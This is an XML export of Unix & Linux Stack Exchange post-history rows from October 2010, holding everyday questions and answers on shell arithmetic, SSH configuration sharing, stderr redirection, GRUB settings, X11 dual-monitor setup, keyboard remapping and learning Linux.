  <row Id="7796" PostHistoryTypeId="2" PostId="3648" RevisionGUID="f22e553b-0767-45e7-811a-47d03802c68d" CreationDate="2010-10-30T20:09:57.270" UserId="2492" Text="I have a problem with a linux shell script (sh).&#xD;&#xA;&#xD;&#xA;Im trying to write a script that calculates combinations, but I think I get overflows when&#xD;&#xA;trying to calculate faculties. So, im trying a another technique. But in this technique I used this:&#xD;&#xA;&#xD;&#xA;a=`expr $var1 \* $var2 / $var3`&#xD;&#xA;&#xD;&#xA;This is giving errors, and apperently, I cant do this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;a=`expr ($var1 \* $var2) / $var3`, because this gives errors as well...&#xD;&#xA;&#xD;&#xA;How to do it?" />
  <row Id="7797" PostHistoryTypeId="1" PostId="3648" RevisionGUID="f22e553b-0767-45e7-811a-47d03802c68d" CreationDate="2010-10-30T20:09:57.270" UserId="2492" Text="Shell arithmetic question" />
  <row Id="7798" PostHistoryTypeId="3" PostId="3648" RevisionGUID="f22e553b-0767-45e7-811a-47d03802c68d" CreationDate="2010-10-30T20:09:57.270" UserId="2492" Text="éshellà" />
  <row Id="7799" PostHistoryTypeId="5" PostId="3648" RevisionGUID="74c27b9f-f326-4dbb-9967-5eee1ca92a60" CreationDate="2010-10-30T20:18:38.270" UserId="73" Comment="added 10 characters in body" Text="I have a problem with a linux shell script (`sh`).&#xD;&#xA;&#xD;&#xA;Im trying to write a script that calculates combinations, but I think I get overflows when&#xD;&#xA;trying to calculate faculties. So, im trying a another technique. But in this technique I used this:&#xD;&#xA;&#xD;&#xA;    a=`expr $var1 \* $var2 / $var3`&#xD;&#xA;&#xD;&#xA;This is giving errors, and apperently, I cant do this:&#xD;&#xA;&#xD;&#xA;    a=`expr ($var1 \* $var2) / $var3`, because this gives errors as well...&#xD;&#xA;&#xD;&#xA;How to do it?&#xD;&#xA;" />
  <row Id="7800" PostHistoryTypeId="2" PostId="3649" RevisionGUID="4e50fcab-fac1-481a-b67a-a7ec242b4c44" CreationDate="2010-10-30T20:36:05.770" UserId="1294" Text="You can use `dc` for arbitrary precision results:&#xD;&#xA;&#xD;&#xA;    precision=4 var1=3 var2=4 var3=5&#xD;&#xA;    a=`echo &quot;$precision k $var1 $var2 * $var3 /p&quot; | dc`&#xD;&#xA;&#xD;&#xA;should work in about every Unix variant since 1977 or so. If you know you have gnu dc available the more concise&#xD;&#xA;&#xD;&#xA;    a=`dc -e &quot;$precision k $var1 $var2 * $var3 /p&quot;`&#xD;&#xA;&#xD;&#xA;can be used." />
  <row Id="7801" PostHistoryTypeId="2" PostId="3650" RevisionGUID="7742f3b5-a5f4-42e4-8177-e67a69c3b883" CreationDate="2010-10-30T21:47:02.607" UserId="2493" Text="Hi, I'm using zsh in OS X Terminal.app and for quite a while, I've been longing for a way to jump back and forth between prev/next prompts in the terminal's output.&#xD;&#xA;&#xD;&#xA;One convenience with this would be to be able to review (and track errors at) the end of each command's output; eg. when you building stuff from source with ./configure; make; make install. Note: I'm obviously not referring to jumping back and forth in the command-history, but for a way to take a peek at the endings of each command's output.&#xD;&#xA;&#xD;&#xA;Has anyone heard of such functionality in the *nix (preferrably also Mac) world? Would it require some sort of OS-centric Terminal plugin, or can it be programmatically done via a shell script which can be tied to a keyboard shortcut? Maybe I'm the only one thinking about this? :)" />
  <row Id="7802" PostHistoryTypeId="1" PostId="3650" RevisionGUID="7742f3b5-a5f4-42e4-8177-e67a69c3b883" CreationDate="2010-10-30T21:47:02.607" UserId="2493" Text="Would it be possible to jump between prev/next command prompts?" />
  <row Id="7803" PostHistoryTypeId="3" PostId="3650" RevisionGUID="7742f3b5-a5f4-42e4-8177-e67a69c3b883" CreationDate="2010-10-30T21:47:02.607" UserId="2493" Text="éterminalàépromptàécommandöhistoryà" />
  <row Id="7804" PostHistoryTypeId="2" PostId="3651" RevisionGUID="183a3d5b-0c2b-4fb7-bca5-80849311bb40" CreationDate="2010-10-30T22:20:02.780" UserId="1327" Text="So **SSH** has these files that configure settings for a specific user.&#xD;&#xA;&#xD;&#xA;    ~/.ssh/authorized_keys&#xD;&#xA;    ~/.ssh/config&#xD;&#xA;    ~/.ssh/id_rsa&#xD;&#xA;    ~/.ssh/id_rsa.pub&#xD;&#xA;    ~/.ssh/known_hosts&#xD;&#xA;&#xD;&#xA;I'd like to globalise some of these files, like `config` and `known_hosts`. So that other users ( including **root** ) could share the configured hosts.&#xD;&#xA;&#xD;&#xA;What would be the best way to do this?" />
  <row Id="7805" PostHistoryTypeId="1" PostId="3651" RevisionGUID="183a3d5b-0c2b-4fb7-bca5-80849311bb40" CreationDate="2010-10-30T22:20:02.780" UserId="1327" Text="making ssh hosts global to all the users on the computer" />
  <row Id="7806" PostHistoryTypeId="3" PostId="3651" RevisionGUID="183a3d5b-0c2b-4fb7-bca5-80849311bb40" CreationDate="2010-10-30T22:20:02.780" UserId="1327" Text="éconfigurationàéopensshà" />
  <row Id="7807" PostHistoryTypeId="2" PostId="3652" RevisionGUID="9ba0bb58-09e6-4a9e-bec0-2717acff0c91" CreationDate="2010-10-30T23:19:10.080" UserId="29" Text="Since root is all powerful, I would use a root cron job to copy the files form other users. Known Hosts and authorized keys can simply be appended. If it's all on one partitions there's the hardlink option. Not sure if symlinks would work for the files, but you could try that, too, you just have to put them in in a shared, yet secure place." />
  <row Id="7808" PostHistoryTypeId="2" PostId="3653" RevisionGUID="eefe6967-d1d1-4ce1-ae70-2041f5fbd9b0" CreationDate="2010-10-30T23:20:23.653" UserId="1207" Text="For `~/.ssh/config` you can place relevant system-wide settings in /etc/ssh/ssh_config according to [the man page][1]:&#xD;&#xA;&#xD;&#xA;&gt;ssh(1) obtains configuration data from the following sources in the following order:&#xD;&#xA; &#xD;&#xA;&gt; 1.   command-line options         &#xD;&#xA;&gt; 2.   user's configuration file (~/.ssh/config)&#xD;&#xA;&gt; 3.   system-wide configuration file (/etc/ssh/ssh_config)&#xD;&#xA;&gt; &#xD;&#xA;For each parameter, the first obtained value will be used.  The configuration files contain sections separated by “Host” specifications, and that section is only applied for hosts that match one of the patterns given in the specification.&#xD;&#xA;&#xD;&#xA;Note that only the first value will be used, which means that the user can always override the system-wide configuration options locally.&#xD;&#xA;&#xD;&#xA;For `~/.ssh/known_hosts` you can use `/etc/ssh/ssh_known_hosts` or another file specified by the GlobalKnownHostsFile configuration option:&#xD;&#xA;&gt; GlobalKnownHostsFile&#xD;&#xA;&#xD;&#xA;&gt; Specifies a file to use for the global host key database instead of /etc/ssh/ssh_known_hosts.instead of /etc/ssh/ssh_known_hosts.&#xD;&#xA;&#xD;&#xA;I'm unsure if it is possible for the other files, but I imagine you could work something out with symlinks if you *really* wanted to share private keys among users as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/cgi-bin/man.cgi?query=ssh_config&amp;sektion=5" />
  <row Id="7809" PostHistoryTypeId="5" PostId="3653" RevisionGUID="b7eadef5-bee4-4aca-a244-2735624aedd4" CreationDate="2010-10-30T23:58:32.323" UserId="1207" Comment="fixed typo" Text="For `~/.ssh/config` you can place relevant system-wide settings in /etc/ssh/ssh_config according to [the man page][1]:&#xD;&#xA;&#xD;&#xA;&gt;ssh(1) obtains configuration data from the following sources in the following order:&#xD;&#xA; &#xD;&#xA;&gt; 1.   command-line options         &#xD;&#xA;&gt; 2.   user's configuration file (~/.ssh/config)&#xD;&#xA;&gt; 3.   system-wide configuration file (/etc/ssh/ssh_config)&#xD;&#xA;&gt; &#xD;&#xA;For each parameter, the first obtained value will be used.  The configuration files contain sections separated by “Host” specifications, and that section is only applied for hosts that match one of the patterns given in the specification.&#xD;&#xA;&#xD;&#xA;Note that only the first value will be used, which means that the user can always override the system-wide configuration options locally.&#xD;&#xA;&#xD;&#xA;For `~/.ssh/known_hosts` you can use `/etc/ssh/ssh_known_hosts` or another file specified by the GlobalKnownHostsFile configuration option:&#xD;&#xA;&gt; GlobalKnownHostsFile&#xD;&#xA;&#xD;&#xA;&gt; Specifies a file to use for the global host key database instead of /etc/ssh/ssh_known_hosts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm unsure if it is possible for the other files, but I imagine you could work something out with symlinks if you *really* wanted to share private keys among users as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/cgi-bin/man.cgi?query=ssh_config&amp;sektion=5" />
  <row Id="7810" PostHistoryTypeId="2" PostId="3654" RevisionGUID="8eebd1e9-c8b2-4c98-88c3-c732ab2f7377" CreationDate="2010-10-31T01:35:41.117" UserDisplayName="macha" Text="Hello I am in a very embarrassing situation, I was trying to upgrade to ubuntu 10.04 from ubuntu 9.10 yesterday and while updating I forgot to put my laptop on charger and the battery ran out. Since we know that there is no track back process in linux, all I get now is a blank terminal screen at the start up. Even if I login, I still am stuck on that blank screen.&#xD;&#xA;&#xD;&#xA;So the only way I see is to, format and reinstall my windows and linux instances. So before I format it, I am trying to save all my data that is in the linux partition. I am using ext2explore to save all my files. I wanted to know if there was any possible way to export a database or a few tables into a file from my windows partition??&#xD;&#xA;&#xD;&#xA;I need to back up my database in the linux partition using my windows partition!!" />
  <row Id="7811" PostHistoryTypeId="1" PostId="3654" RevisionGUID="8eebd1e9-c8b2-4c98-88c3-c732ab2f7377" CreationDate="2010-10-31T01:35:41.117" UserDisplayName="macha" Text="back-up database in Linux partition from windows partition!!" />
  <row Id="7812" PostHistoryTypeId="3" PostId="3654" RevisionGUID="8eebd1e9-c8b2-4c98-88c3-c732ab2f7377" CreationDate="2010-10-31T01:35:41.117" UserDisplayName="macha" Text="élinuxàépartitionàéwindowsàébackupà" />
  <row Id="7813" PostHistoryTypeId="2" PostId="3655" RevisionGUID="5d5d188b-f50e-4ab9-a0c2-bd9a1fd2fab8" CreationDate="2010-10-31T01:52:21.160" UserId="1002" Text="If you have database backups, it's probably easiest to use those.&#xD;&#xA;&#xD;&#xA;If you really need the databases, and you were using MySQL, then you can find them under `/var/lib/mysql/` on the linux partition.  You will probably need all the files in that directory and its subdirectories.  Note that archiving those files from inside Ubuntu is probably a better idea, because that would preserve permissions (there probably is a question on this site already how to do that).&#xD;&#xA;&#xD;&#xA;And like said in my comment to your question, it might be possible to continue the upgrade from the commandline instead." />
  <row Id="7814" PostHistoryTypeId="2" PostId="3656" RevisionGUID="bbdc6ae9-987d-4311-ab7b-0f4a6e601975" CreationDate="2010-10-31T01:56:01.617" UserId="1571" Text="Not sure if this should be an answer, but since I'm posting an image I guess it will work.&#xD;&#xA;&#xD;&#xA;You can make your bash prompt look different so that it's easily spotted, or use zsh and make your prompt look something like this.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/hIpPv.png" />
  <row Id="7815" PostHistoryTypeId="2" PostId="3657" RevisionGUID="e06044d5-2b97-4d7d-a6e1-bf9e7ec752d1" CreationDate="2010-10-31T03:35:55.083" UserId="2062" Text="If you're using `bash` why not employ anonymous pipes, in essence shorthand for what phunehehe said:&#xD;&#xA;&#xD;&#xA;`ffmpeg -i 01-Daemon.mp3 2&gt; &gt;(grep -i Duration)`&#xD;&#xA;" />
  <row Id="7816" PostHistoryTypeId="5" PostId="3514" RevisionGUID="ada29275-f3bd-4234-a1ac-a888696b4970" CreationDate="2010-10-31T05:25:37.480" UserId="1327" Comment="added 14 characters in body" Text="I am using ffmpeg to get the meta info of an audio clip. But I am unable to grep it.&#xD;&#xA;&#xD;&#xA;        $ ffmpeg -i 01-Daemon.mp3  |grep -i Duration&#xD;&#xA;        FFmpeg version SVN-r15261, Copyright (c) 2000-2008 Fabrice Bellard, et al.&#xD;&#xA;          configuration: --prefix=/usr --bindir=/usr/bin &#xD;&#xA;          --datadir=/usr/share/ffmpeg --incdir=/usr/include/ffmpeg --libdir=/usr/lib&#xD;&#xA;          --mandir=/usr/share/man --arch=i386 --extra-cflags=-O2 &#xD;&#xA;          ...&#xD;&#xA;&#xD;&#xA;I checked, this ffmpeg output is directed to stderr.&#xD;&#xA;&#xD;&#xA;    $ ffmpeg -i 01-Daemon.mp3 2&gt; /dev/null&#xD;&#xA;&#xD;&#xA;So I think that grep is unable to read error stream to catch matching lines. How can we enable grep to read error stream?&#xD;&#xA;&#xD;&#xA;Using [nixCraft](http://www.cyberciti.biz/faq/redirecting-stderr-to-stdout/) link, I redirected standard error stream to standard output stream, then grep worked.&#xD;&#xA;&#xD;&#xA;    $ ffmpeg -i 01-Daemon.mp3 2&gt;&amp;1 | grep -i Duration&#xD;&#xA;      Duration: 01:15:12.33, start: 0.000000, bitrate: 64 kb/s&#xD;&#xA;&#xD;&#xA;But what if we do not want to redirect stderr to stdout?" />
  <row Id="7817" PostHistoryTypeId="2" PostId="3658" RevisionGUID="d6b3630d-0abf-4b88-b775-42b0b8446701" CreationDate="2010-10-31T05:52:27.177" UserId="1327" Text="In a way this question is a extension of [another][1] question.&#xD;&#xA;&#xD;&#xA;In bash you can do pretty neat stuff with file descriptors. Like&#xD;&#xA;&#xD;&#xA;    { command &gt; /dev/null } 2&gt;&amp;1 | grep filter;&#xD;&#xA;&#xD;&#xA;to grep on **stderr** only.&#xD;&#xA;&#xD;&#xA;My Question[s]:&#xD;&#xA;&#xD;&#xA; - How many levels of descriptors are there. ( How high can the &quot;numbers&quot; go) ?&#xD;&#xA; - Appart from `1` and `2` ( which is **stdin** and **stderr** ), what is the meaning and general use of those other &quot;numbers&quot;?&#xD;&#xA; - Is the order in which they are specified important?   &#xD;&#xA;e.g. `command 1&gt;&amp;2 3&gt;&amp;1 2&gt;&amp;3` versus  `command  2&gt;&amp;3 3&gt;&amp;1  1&gt;&amp;2` &#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/3514&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7818" PostHistoryTypeId="1" PostId="3658" RevisionGUID="d6b3630d-0abf-4b88-b775-42b0b8446701" CreationDate="2010-10-31T05:52:27.177" UserId="1327" Text="How does file descriptor re-assigment work?" />
  <row Id="7819" PostHistoryTypeId="3" PostId="3658" RevisionGUID="d6b3630d-0abf-4b88-b775-42b0b8446701" CreationDate="2010-10-31T05:52:27.177" UserId="1327" Text="ébashàéfileödescriptorsà" />
  <row Id="7820" PostHistoryTypeId="5" PostId="2167" RevisionGUID="29b7082d-1780-4e07-b3a4-a4a70e9d8428" CreationDate="2010-10-31T05:59:01.243" UserId="1327" Comment="added 171 characters in body" Text="It sounds like you are using *[Grub 2][1]*. I haven't tried it, but acording to this **[article][2]**.  You will need to change `/etc/default/grub`, so that the line :&#xD;&#xA;&#xD;&#xA;    GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash&quot; &#xD;&#xA;&#xD;&#xA;becomes:&#xD;&#xA;&#xD;&#xA;    GRUB_CMDLINE_LINUX_DEFAULT=&quot;&quot; &#xD;&#xA;&#xD;&#xA;in other words, remove `quiet` and `splash` from the `GRUB_CMDLINE_LINUX_DEFAULT` variable.&#xD;&#xA;&#xD;&#xA;**update:** from [jcubic][3]'s comment:&#xD;&#xA;&#xD;&#xA;also remove `splash` and  `vga=769` from the `GRUB_CMDLINE_LINUX` variable.&#xD;&#xA;&#xD;&#xA; [1]:https://wiki.ubuntu.com/Grub2&#xD;&#xA; [2]:https://help.ubuntu.com/community/Grub2&#xD;&#xA; [3]:http://unix.stackexchange.com/users/1806/jcubic" />
  <row Id="7821" PostHistoryTypeId="5" PostId="3303" RevisionGUID="ef6f354b-0a19-4877-ae0d-53b360abda8b" CreationDate="2010-10-31T06:00:53.567" UserId="1327" Comment="added 29 characters in body" Text="Displays a nice ascii art of the current proccess tree, with the most cpu intensive proccess higlighted. &#xD;&#xA;&#xD;&#xA;    while true; do &#xD;&#xA;      clear; &#xD;&#xA;      pstree $( ps -eo pid --sort %cpu | tail -n 1 ); &#xD;&#xA;      sleep 1;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Kill it with `Ctrl + C`" />
  <row Id="7822" PostHistoryTypeId="5" PostId="3410" RevisionGUID="be168386-0dc6-43a8-ae39-8a7d4b25b187" CreationDate="2010-10-31T06:03:01.973" UserId="1327" Comment="added 1 characters in body" Text="To get proficient with unix, you will need to work on it regularly. **Practise makes perfect**.&#xD;&#xA;&#xD;&#xA;Firstly, I would suggest that you [pick][3] a [Linux distribution][4]. Don't worry *too much* about picking the best one for you yet, *when you are ready you will find the one*. For a beginner, a distro like [Ubuntu][2] will be good enough.&#xD;&#xA;&#xD;&#xA;Problems will arise, be ready for them. Ask questions on the web ( [here on Unix SE][1] or at other forums ), the linux community ( more correct is the &quot;opensource community&quot; ) is a helpful community. The more you partake in that community, the faster you will learn.&#xD;&#xA;&#xD;&#xA;Now you will need to try and **perform basic tasks** on your shiny new OS. Chatting, Browsing, typing up documents, emailing, watching movies, etc. *Use Linux for everything.*&#xD;&#xA;&#xD;&#xA;Be aware that Linux does have a learning curve, and that you will need to **dedicate time** to it if you want to become professional.&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/&#xD;&#xA;[2]:http://ubuntu.com/&#xD;&#xA;[3]:http://distrowatch.com/&#xD;&#xA;[4]:http://en.wikipedia.org/wiki/Linux_distribution" />
  <row Id="7823" PostHistoryTypeId="5" PostId="3628" RevisionGUID="e2d73003-61f4-4de7-abf7-363a29ae1366" CreationDate="2010-10-31T06:09:03.387" UserId="1327" Comment="added 14 characters in body" Text="I have Gentoo Linux, the Awesome window manager and an open-source ATI driver.&#xD;&#xA;&#xD;&#xA;Here's my xorg.conf:&#xD;&#xA;&#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;            #ModulePath   &quot;/usr/lib64/xorg/modules&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/misc/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/TTF/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/OTF&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/Type1/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/100dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/75dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/terminus&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;      Identifier     &quot;My X Server&quot;&#xD;&#xA;      Screen 0 &quot;Screen0&quot; 0 0&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      510   290     # mm&#xD;&#xA;            Identifier   &quot;LeftMonitor&quot;&#xD;&#xA;            VendorName   &quot;DEL&quot;&#xD;&#xA;            ModelName    &quot;DELL U2311H&quot;&#xD;&#xA;            HorizSync    30.0 - 83.0&#xD;&#xA;            VertRefresh  56.0 - 76.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1920x1080&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      380   300     # mm&#xD;&#xA;            Identifier   &quot;RightMonitor&quot;&#xD;&#xA;            VendorName   &quot;SAM&quot;&#xD;&#xA;            ModelName    &quot;SyncMaster&quot;&#xD;&#xA;            HorizSync    30.0 - 81.0&#xD;&#xA;            VertRefresh  56.0 - 75.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1280x1024&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;      Identifier  &quot;Card0&quot;&#xD;&#xA;      Driver      &quot;radeon&quot;&#xD;&#xA;      VendorName  &quot;ATI Technologies Inc&quot;&#xD;&#xA;      BoardName   &quot;Mobilitiy Radeon HD 3600 Series&quot;&#xD;&#xA;      BusID       &quot;PCI:4:0:0&quot;&#xD;&#xA;      #Option &quot;AccelMethod&quot; &quot;EXA&quot;&#xD;&#xA;      Option         &quot;monitor-HDMI-0&quot; &quot;RightMonitor&quot;&#xD;&#xA;      Option         &quot;monitor-DVI-0&quot; &quot;LeftMonitor&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;      Identifier   &quot;Screen0&quot;&#xD;&#xA;      Device       &quot;Card0&quot;&#xD;&#xA;      Monitor      &quot;LeftMonitor&quot;&#xD;&#xA;      DefaultDepth 24&#xD;&#xA;      SubSection &quot;Display&quot;&#xD;&#xA;            Depth     24&#xD;&#xA;            Modes           &quot;1920x1080&quot; &quot;1280x1024&quot;&#xD;&#xA;            Virtual     3200 1080&#xD;&#xA;      EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;And to enable the monitor on the right side I do `xrandr --output HDMI-0 --mode 1280x1024 --right-of DVI-0` at system launch.&#xD;&#xA;&#xD;&#xA;Good thing, it works.  &#xD;&#xA;**Bad** thing, Altitude game breaks it. The main (left) monitor loses signal and I can't re-enable it ( while the game itself runs happily on the right screen, in fullscreen mode).&#xD;&#xA;&#xD;&#xA;No problems in windowed mode (1024x768), as well as with all other applications (fullscreen flash, VLC, etc), but when I try to change in-game resolution to 1280x1024, it breaks the same way as with fullscreen.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;**Edit:** It breaks when I close the game as well. Argh!" />
  <row Id="7824" PostHistoryTypeId="4" PostId="3409" RevisionGUID="77df6525-7a94-400a-9bca-891ecf5fa51b" CreationDate="2010-10-31T06:12:11.903" UserId="1327" Comment="edited title" Text="Beginning to learn Unix and Linux" />
  <row Id="7825" PostHistoryTypeId="2" PostId="3659" RevisionGUID="60a4fafd-ae8d-414a-95a8-368fb6fd2733" CreationDate="2010-10-31T06:44:03.427" UserId="1946" Text="For your example with parens, you must escape them too: `expr \( $var1 + $var2 \) / $var3` (and don't omit the spaces, or `expr` will complain).&#xD;&#xA;&#xD;&#xA;In `bash` you can also use built-in arithmetic expansion like this: `echo $(( ($var1+$var2)/$var3 ))`&#xD;&#xA;&#xD;&#xA;And for infix calculations there's `bc` (while `dc` is for reverse-polish notation)." />
  <row Id="7826" PostHistoryTypeId="2" PostId="3660" RevisionGUID="9232759c-6c0e-4de1-960f-6b7697b6f1d8" CreationDate="2010-10-31T07:10:17.550" UserId="1946" Text="Why use `ext2explore` if you can boot from Ubuntu LiveCD?  Are you sure you need to reinstall Windows too?  It's unlikely that it get corrupted during the course of installation.&#xD;&#xA;&#xD;&#xA;Backup procedures may vary for different database engines, you better check the docs for your database first." />
  <row Id="7827" PostHistoryTypeId="2" PostId="3661" RevisionGUID="4845ca18-7a88-4f76-9d7f-642a8743e1a6" CreationDate="2010-10-31T07:14:32.660" UserId="1946" Text="* You may well expect them to go up to 63 on a typical Linux box.&#xD;&#xA;* There's `3` for stdlog, but it's rarely used (I believe I never saw one).&#xD;&#xA;* The order is important: check `man bash` REDIRECTION." />
  <row Id="7828" PostHistoryTypeId="6" PostId="2072" RevisionGUID="c091c330-ebc0-4630-89b6-59d5a3c3d695" CreationDate="2010-10-31T07:41:48.617" UserId="150" Comment="retagged" Text="écommandölineàéshellàéshellöscriptà" />
  <row Id="7829" PostHistoryTypeId="6" PostId="2094" RevisionGUID="56f35738-51e5-4cb1-99d3-c59e32e054d9" CreationDate="2010-10-31T08:28:53.123" UserId="125" Comment="edited tags" Text="émonoàécñàébooksàérecommendedà" />
  <row Id="7830" PostHistoryTypeId="2" PostId="3662" RevisionGUID="9aeeb6e5-80ce-40d8-8381-178a9585b53b" CreationDate="2010-10-31T09:03:06.677" UserId="2496" Text="I found a classic [M-series keyboard][1] and I want to use it. However, it does not have the &quot;Windows&quot; key (a.k.a &quot;Super&quot;), only the Shift, Control and Alt modifiers. My keyboard shortcuts are cluttered as-is, since that I try to control both Emacs and the windows manager (Gnome) only from the keyboard. I rely on the &quot;Super&quot; key to identify the windows manager shortcuts.&#xD;&#xA;&#xD;&#xA;What it the best practice for keyboard-centric work without the &quot;Super&quot; key?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Model_M_keyboard" />
  <row Id="7831" PostHistoryTypeId="1" PostId="3662" RevisionGUID="9aeeb6e5-80ce-40d8-8381-178a9585b53b" CreationDate="2010-10-31T09:03:06.677" UserId="2496" Text="Emacs and windows manager keyboard shortcuts without &quot;Super&quot; key" />
  <row Id="7832" PostHistoryTypeId="3" PostId="3662" RevisionGUID="9aeeb6e5-80ce-40d8-8381-178a9585b53b" CreationDate="2010-10-31T09:03:06.677" UserId="2496" Text="égnomeàékeyboardöshortcutsàéemacsà" />
  <row Id="7833" PostHistoryTypeId="2" PostId="3663" RevisionGUID="60d384d4-f57f-474a-a36d-8844f6a5a6fb" CreationDate="2010-10-31T12:22:37.520" UserId="1941" Text="On my old Thinkpads without windows keys, I set capslock to behave as super. In Gnome, you can achieve this with Preferences-&gt;Hardware-&gt;Keyboard. There on tab layout, click on options and there &quot;CapsLock-Key behaviour&quot; and choose &quot;Make CapsLock an additional super&quot;.&#xD;&#xA;&#xD;&#xA;If you don't use Gnome, you can achieve the same by modifying ~/.xmodmap to include this&#xD;&#xA;&#xD;&#xA;    !No Caps Lock&#xD;&#xA;    clear lock&#xD;&#xA;    ! Caps Lock as Win key&#xD;&#xA;    add mod4 = Caps_Lock&#xD;&#xA;&#xD;&#xA;and making sure ~/.xmodmap is loaded during startup of X." />
  <row Id="7834" PostHistoryTypeId="9" PostId="2072" RevisionGUID="c75b5f73-9eaf-4aa5-8511-36a9c2377918" CreationDate="2010-10-31T12:27:46.640" UserId="1327" Comment="Rollback to [015e09a8-f7d1-4329-8096-0aef0adf8f70]" Text="écommandölineàégnuà" />
  <row Id="7835" PostHistoryTypeId="6" PostId="2072" RevisionGUID="61f669d6-8222-4529-93e9-ce91fc39a7f7" CreationDate="2010-10-31T12:28:08.057" UserId="1327" Comment="edited tags" Text="écommandölineà" />
  <row Id="7836" PostHistoryTypeId="2" PostId="3664" RevisionGUID="1de196a0-c6a5-4ab2-81bd-191f54db6c1e" CreationDate="2010-10-31T13:08:11.293" UserId="1091" Text="Hello,&#xD;&#xA;&#xD;&#xA;I need to develop file system for Linux for my diplom work. &#xD;&#xA;&#xD;&#xA;Where can i find infomation abou this theme? How can i test it and other?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;" />
  <row Id="7837" PostHistoryTypeId="1" PostId="3664" RevisionGUID="1de196a0-c6a5-4ab2-81bd-191f54db6c1e" CreationDate="2010-10-31T13:08:11.293" UserId="1091" Text="Linux compability file system" />
  <row Id="7838" PostHistoryTypeId="3" PostId="3664" RevisionGUID="1de196a0-c6a5-4ab2-81bd-191f54db6c1e" CreationDate="2010-10-31T13:08:11.293" UserId="1091" Text="éfilesystemsàéhackingà" />
  <row Id="7839" PostHistoryTypeId="2" PostId="3665" RevisionGUID="a78f7923-9f88-422b-97d1-fa15ca384d60" CreationDate="2010-10-31T13:16:16.993" UserId="2179" Text="You want to start with [FUSE][1] -- all it requires is your implementation of system calls like `open` and `unlink`.&#xD;&#xA;&#xD;&#xA; A tutorial, written using the Python bindings, is available at the [FUSE Wiki][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fuse.sourceforge.net/&#xD;&#xA;  [2]: http://sourceforge.net/apps/mediawiki/fuse/index.php?title=SimpleFilesystemHowto" />
  <row Id="7840" PostHistoryTypeId="5" PostId="3664" RevisionGUID="c2939bec-af38-4f41-9ac4-0ae63d7ede4a" CreationDate="2010-10-31T13:34:25.837" UserId="1327" Comment="tried to improve the grammer, still a bit unclear" Text="I need to develop a file system for Linux for my diploma work. &#xD;&#xA;&#xD;&#xA; - Where can I find infomation about this theme?&#xD;&#xA; - How can I test it and other?&#xD;&#xA;" />
  <row Id="7841" PostHistoryTypeId="2" PostId="3666" RevisionGUID="3439e636-da11-4874-8d6d-b64a3692069c" CreationDate="2010-10-31T14:21:26.923" UserId="2498" Text="Hello everyone.&#xD;&#xA;&#xD;&#xA;I need to write a command line tool that records the boot process information in Linux, and then renders it in a chart format (a textual chart would do). How do I **_programmatically_** obtain the this boot process information? Languages that I am allowed to use are C and C++.&#xD;&#xA;&#xD;&#xA;Thanks in advance. :-)" />
  <row Id="7842" PostHistoryTypeId="1" PostId="3666" RevisionGUID="3439e636-da11-4874-8d6d-b64a3692069c" CreationDate="2010-10-31T14:21:26.923" UserId="2498" Text="Recording and charting boot process information in Linux" />
  <row Id="7843" PostHistoryTypeId="3" PostId="3666" RevisionGUID="3439e636-da11-4874-8d6d-b64a3692069c" CreationDate="2010-10-31T14:21:26.923" UserId="2498" Text="élinuxàéprocessàébootàécàécççà" />
  <row Id="7844" PostHistoryTypeId="2" PostId="3667" RevisionGUID="7dfb7c00-5ab8-4f49-aede-9d0a6d308b78" CreationDate="2010-10-31T15:48:20.077" UserId="2487" Text="put a linux distribution like arch linux on your computer....you'll be forced to learn as you go in order to make the system useful...arch simply isn't useful to the complete novice.&#xD;&#xA; &#xD;&#xA;there's no point putting off the painful lessons! the best way to learn how to fix something is to have it break...and chances are if you use a system like ubuntu, you will never even know that there are problems to solve. &#xD;&#xA;&#xD;&#xA;i also recommend an alternative system like freebsd, you'll get a different perspective and have access to some neat features not available for linux (dtrace, zfs)&#xD;&#xA;&#xD;&#xA;bottom line - if you want to *learn* about a system, install an OS that forces you to learn. if you want to *use* the system, install ubuntu" />
